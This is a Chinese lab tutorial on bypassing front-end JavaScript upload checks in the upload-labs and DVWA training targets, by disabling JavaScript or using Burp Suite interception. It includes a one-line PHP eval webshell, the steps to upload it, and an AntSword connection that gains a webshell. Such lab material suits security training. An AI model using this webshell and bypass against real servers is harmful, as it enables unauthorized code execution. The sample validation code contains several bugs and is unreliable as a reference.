【文件上传绕过】——前端检测_前端js验证漏洞
文章目录一、实验目的:二、工具:三、实验环境:四、实验目的:五、漏洞说明:1. 漏洞原理:2. `js前端验证`过程代码:六、实验过程:1. 判断是否存在前端`js绕过漏洞`:1.1 上传非图片文件:1.2 上传图片文件:2. 绕过方法一:删除或者禁用js:2.1 upload-labs闯关游戏(Pass-01):2.2 DVWA靶场-low级别:3. 绕过方法二:使用代理上传文件,比如`Burp
文章目录
一、实验目的:
1、通过本次实验掌握
js验证原理
;
2、通过自写代码学习js验证过程;
3、通过upload-labs闯关游戏(Pass-01)
掌握js前端绕过
技术。
二、工具:
BurpSuite
火狐/谷歌浏览器
AntSword(蚁剑)
三、实验环境:
靶 机: windows10虚拟机:
192.168.100.150
自写上传页面代码
文件上传漏洞闯关游戏
DVWA靶场
攻击机: 物理机
四、实验目的:
1、自写上传代码,学习前端
js验证
过程及漏洞产生的原理;
2、通过upload-labs-master
文件上传漏洞闯关游戏Pass-01
,DVWA靶场-low级别
,掌握js绕过
技术。
五、漏洞说明:
1. 漏洞原理:
Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。
2. js前端验证
过程代码:
1、在windows10虚拟机
的网站主目录下,创建一个fileupload/js_test/
目录,自己构建上传页面,上传页面代码,前端验证index.html
文件如下所示:
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
<!-- 这里进行编码,编码格式为UTF-8,防止浏览器出现中文乱码 -->
<meta charset="utf-8">
</head>
<body>
<!-- enctype="multipart/form-data":对表单传输的数据不需要进行编码(为防止传入后台进行编解码过程中,出现问题,故不进行编码处理) -->
<form action="fileupload.php" onsubmit="return checkupload();" method="POST" enctype="multipart/form-data">
请选择要上传的文件:<input type="file" name="uploadfile">
<input type="submit" name="submit" value="提交">
</form>
<!-- 下面是使用js代码对上传的文件进行前端验证 -->
<script type="text/javascript">
function checkupload() {
// alert(111);
// 对上传的文件类型进行验证:
// 1.获取上传文件名:
var filetag = document.getElementById("uploadfile");
var filename = filetag.value;
// alert(filename)
// 2.截取文件后缀名:
var lastloc = filename.lastIndexof(".")+1;
// alert(lastloc);
var suffix = filename.substring(lastloc);
// alert(suffix);
// 3.对文件类型进行验证:
if (suffix != "jpg"|"png") {
alert("文件类型错误,上传失败");
return false;
}
}
</script>
</body>
</html>
2、在同一个目录下,创建一个后端fileupload.php
文件:
<?php
header("Content-Type:text/html;charset=utf-8"); // 为了避免浏览器中文乱码,对页面进行编码,编码格式为utf-8
echo "<pre>"; //对数据进行格式化输出
if(isset($_FILES["file"])){
$file = $_FILES["file"];
$filename=$file["tmp_name"];
$name=$file["name"];
$name1=iconv("utf-8","gbk",$name); // 将字符串$name 从utf-8转换编码到gbk。这里是为了防止上传到服务器时,图片在服务器出现中文乱码。
$destination="./upload/".$name1;
move_uploaded_file($filename,$destination);
}else{
echo "上传文件有误";
}
?>
六、实验过程:
1. 判断是否存在前端js绕过漏洞
:
按
F12(或者:在网页空白处"右击"-->选择:"检查")
打开调试面板,选择网络
,然后上传图片文件
和非图片文件
,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞
,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)
1.1 上传非图片文件:
1、创建一个test.php文件:
文件内容:
<?php @eval($_REQUEST['666']); ?>
2、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.php:
http://192.168.100.150/upload-labs-master/Pass-01/index.php
3、点击上传文件后,提示不允许上传该文件,并且没有数据流量产生:
通过上面的操作,发现没有数据向后台发送,说明前端有
js验证
,存在js绕过
漏洞。
1.2 上传图片文件:
1、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.jpg:
2、点击上传文件后,发现网络中有数据流量产生:
通过上图可以看到,
网络
栏有数据传输,说明有数据向后台发送。
2. 绕过方法一:删除或者禁用js:
2.1 upload-labs闯关游戏(Pass-01):
通过windows10虚拟机
中的 upload-labs闯关游戏(Pass-01)
进行实验:
1、在输入框中输入about:config
点击接受
2、在搜索框中输入javascript
然后找到javascript.enabled
选项双击
,出现false
:
3、回到
upload-labs-master
选择第一关上传php
文件:
通过上面操作,发现已经上传成功。
4、上传成功后允许js
代码运行,如下图所示:
注:不开启js
代码的话,如果页面通过ajxs
编写的,可能就无法实现相应功能,比如这里的文件上传功能可能就不能使用了。
2.2 DVWA靶场-low级别:
1、打开DVWA靶场-low级别
:
2、上传一个1.jpg
文件:
3、上传完成后,会显示文件路径,并会提示成功上传:
4、可以正常访问:
5、接下来,上传一个一句话木马
文件test.php
:
文件内容:
<?php @eval($_REQUEST['666']); ?>
6、可以正常上传,并进行访问,并且能够解析成功:
3. 绕过方法二:使用代理上传文件,比如Burp Suite
:
1、在windows10虚拟机
桌面创建test.php
文件,写入一句话木马保存,然后将后缀名改为jpg
:
<?php @eval($_REQUEST['666']); ?>
2、进入闯关游戏Pass-01
,点击浏览
选中创建好的jpg文件
:
3、打开Burp Suite
,开启流量拦截:
4、在浏览器里面,打开Burp Suite
代理流量,然后点击上传:
5、发现Burp Suite
已经抓到数据:
6、将文件格式改成php文件
,点击Forward
发送数据包,并关闭浏览器代理:
7、查看windows10虚拟机
,\WWW\upload-labs-master\upload
文件夹,出现test.php
文件上传成功:
8、选中图片右击
,选择复制图像链接
,即可获得我们上传文件的URL
,并进行访问:
9、把复制的URL,粘贴到蚁剑,测试连接,并添加连接:
10、可以看到已经成功获得
windows10虚拟机
的webshell:
更多推荐
所有评论(0)